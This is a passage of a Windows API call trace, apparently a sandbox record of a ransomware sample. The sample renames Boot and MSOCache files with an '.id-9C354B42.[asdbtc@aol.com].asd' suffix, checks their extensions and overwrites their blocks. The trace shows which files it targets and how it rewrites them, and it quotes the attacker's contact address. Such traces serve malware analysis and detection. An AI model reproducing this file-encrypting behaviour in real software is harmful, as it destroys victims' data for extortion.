lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.770] lstrlenW (lpString=".7z") returned 3 [0041.770] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.770] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0041.770] lstrlenW (lpString=".dbf") returned 4 [0041.770] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.770] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0041.770] lstrlenW (lpString=".1cd") returned 4 [0041.770] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.770] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0041.770] lstrlenW (lpString=".jpg") returned 4 [0041.770] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.770] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0041.770] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.770] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.771] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=70224) returned 1 [0041.771] CloseHandle (hObject=0x168) returned 1 [0041.771] GetFileAttributesW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0041.771] GetFileAttributesW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.771] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.771] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0041.771] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0041.771] lstrlenW (lpString=".doc") returned 4 [0041.771] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.771] lstrlenW (lpString=".docx") returned 5 [0041.771] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.771] lstrlenW (lpString=".pdf") returned 4 [0041.771] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.771] lstrlenW (lpString=".xls") returned 4 [0041.771] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.771] lstrlenW (lpString=".xlsx") returned 5 [0041.771] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.771] lstrlenW (lpString=".ppt") returned 4 [0041.771] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.771] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0041.771] lstrlenW (lpString=".zip") returned 4 [0041.771] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.771] lstrlenW (lpString=".rar") returned 4 [0041.772] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.772] lstrlenW (lpString=".bz2") returned 4 [0041.772] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.772] lstrlenW (lpString=".7z") returned 3 [0041.772] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.772] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0041.879] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0041.882] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=2503680) returned 1 [0041.882] CloseHandle (hObject=0x170) returned 1 [0041.882] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0041.883] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.883] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0041.891] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0041.891] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0x0) returned 1 [0041.891] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0041.891] ReadFile (in: hFile=0x170, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.900] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0041.901] ReadFile (in: hFile=0x170, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.917] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0041.917] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0041.917] ReadFile (in: hFile=0x170, lpBuffer=0x39f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39f0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.957] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.957] WriteFile (in: hFile=0x170, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x2dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0041.976] SetEndOfFile (hFile=0x170) returned 1 [0041.976] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3ef3dd8 [0041.979] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0041.979] WriteFile (in: hFile=0x170, lpBuffer=0x3ef3dd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef3dd8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.981] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0041.981] WriteFile (in: hFile=0x170, lpBuffer=0x3ef3dd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef3dd8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.986] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0041.986] WriteFile (in: hFile=0x170, lpBuffer=0x3ef3dd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef3dd8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ef3dd8 | out: hHeap=0x510000) returned 1 [0042.145] CloseHandle (hObject=0x170) returned 1 [0042.827] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0042.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0042.828] lstrlenW (lpString=".doc") returned 4 [0042.828] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.828] lstrlenW (lpString=".docx") returned 5 [0042.828] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.828] lstrlenW (lpString=".pdf") returned 4 [0042.828] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.828] lstrlenW (lpString=".xls") returned 4 [0042.828] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.828] lstrlenW (lpString=".xlsx") returned 5 [0042.828] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.828] lstrlenW (lpString=".ppt") returned 4 [0042.828] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0042.828] lstrlenW (lpString=".zip") returned 4 [0042.828] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.828] lstrlenW (lpString=".rar") returned 4 [0042.828] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.828] lstrlenW (lpString=".bz2") returned 4 [0042.828] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.828] lstrlenW (lpString=".7z") returned 3 [0042.828] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0042.828] lstrlenW (lpString=".dbf") returned 4 [0042.828] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0042.828] lstrlenW (lpString=".1cd") returned 4 [0042.828] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0042.828] lstrlenW (lpString=".jpg") returned 4 [0042.828] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0042.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0042.829] lstrlenW (lpString=".doc") returned 4 [0042.829] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.829] lstrlenW (lpString=".docx") returned 5 [0042.829] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.829] lstrlenW (lpString=".pdf") returned 4 [0042.829] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.829] lstrlenW (lpString=".xls") returned 4 [0042.829] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.829] lstrlenW (lpString=".xlsx") returned 5 [0042.829] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.829] lstrlenW (lpString=".ppt") returned 4 [0042.829] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0042.829] lstrlenW (lpString=".zip") returned 4 [0042.829] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.829] lstrlenW (lpString=".rar") returned 4 [0042.829] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.829] lstrlenW (lpString=".bz2") returned 4 [0042.829] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.829] lstrlenW (lpString=".7z") returned 3 [0042.829] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0042.829] lstrlenW (lpString=".dbf") returned 4 [0042.829] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0042.829] lstrlenW (lpString=".1cd") returned 4 [0042.829] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0042.830] lstrlenW (lpString=".jpg") returned 4 [0042.830] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.830] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0042.830] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0042.830] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0042.830] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=2513920) returned 1 [0042.830] CloseHandle (hObject=0x170) returned 1 [0042.830] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0042.830] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.831] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0042.831] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0042.831] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0x0) returned 1 [0042.831] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0042.831] ReadFile (in: hFile=0x170, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.837] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0042.837] ReadFile (in: hFile=0x170, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.851] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.851] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0042.851] ReadFile (in: hFile=0x170, lpBuffer=0x39f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39f0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.869] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.869] WriteFile (in: hFile=0x170, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x2dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0043.189] SetEndOfFile (hFile=0x170) returned 1 [0043.189] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f33bd0 [0043.189] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0043.189] WriteFile (in: hFile=0x170, lpBuffer=0x3f33bd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33bd0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.191] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0043.191] WriteFile (in: hFile=0x170, lpBuffer=0x3f33bd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33bd0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.198] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0043.198] WriteFile (in: hFile=0x170, lpBuffer=0x3f33bd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33bd0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.202] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f33bd0 | out: hHeap=0x510000) returned 1 [0043.202] CloseHandle (hObject=0x170) returned 1 [0043.941] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0043.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0043.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0043.941] lstrlenW (lpString=".doc") returned 4 [0043.941] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.941] lstrlenW (lpString=".docx") returned 5 [0043.941] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.941] lstrlenW (lpString=".pdf") returned 4 [0043.941] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.941] lstrlenW (lpString=".xls") returned 4 [0043.941] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.941] lstrlenW (lpString=".xlsx") returned 5 [0043.942] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.942] lstrlenW (lpString=".ppt") returned 4 [0043.942] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0043.942] lstrlenW (lpString=".zip") returned 4 [0043.942] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.942] lstrlenW (lpString=".rar") returned 4 [0043.942] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.942] lstrlenW (lpString=".bz2") returned 4 [0043.942] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.942] lstrlenW (lpString=".7z") returned 3 [0043.942] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0043.942] lstrlenW (lpString=".dbf") returned 4 [0043.942] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0043.942] lstrlenW (lpString=".1cd") returned 4 [0043.942] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0043.942] lstrlenW (lpString=".jpg") returned 4 [0043.942] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0043.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0043.942] lstrlenW (lpString=".doc") returned 4 [0043.942] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.942] lstrlenW (lpString=".docx") returned 5 [0043.942] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.942] lstrlenW (lpString=".pdf") returned 4 [0043.942] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.942] lstrlenW (lpString=".xls") returned 4 [0043.942] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.942] lstrlenW (lpString=".xlsx") returned 5 [0043.943] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.943] lstrlenW (lpString=".ppt") returned 4 [0043.943] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0043.943] lstrlenW (lpString=".zip") returned 4 [0043.943] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.943] lstrlenW (lpString=".rar") returned 4 [0043.943] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.943] lstrlenW (lpString=".bz2") returned 4 [0043.943] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.943] lstrlenW (lpString=".7z") returned 3 [0043.943] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0043.943] lstrlenW (lpString=".dbf") returned 4 [0043.943] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0043.943] lstrlenW (lpString=".1cd") returned 4 [0043.943] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0043.943] lstrlenW (lpString=".jpg") returned 4 [0043.943] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.943] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0043.943] lstrlenW (lpString="OutlkLR.cab") returned 11 [0043.943] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.944] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=14819276) returned 1 [0043.944] CloseHandle (hObject=0x170) returned 1 [0043.944] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0043.944] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0043.944] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: 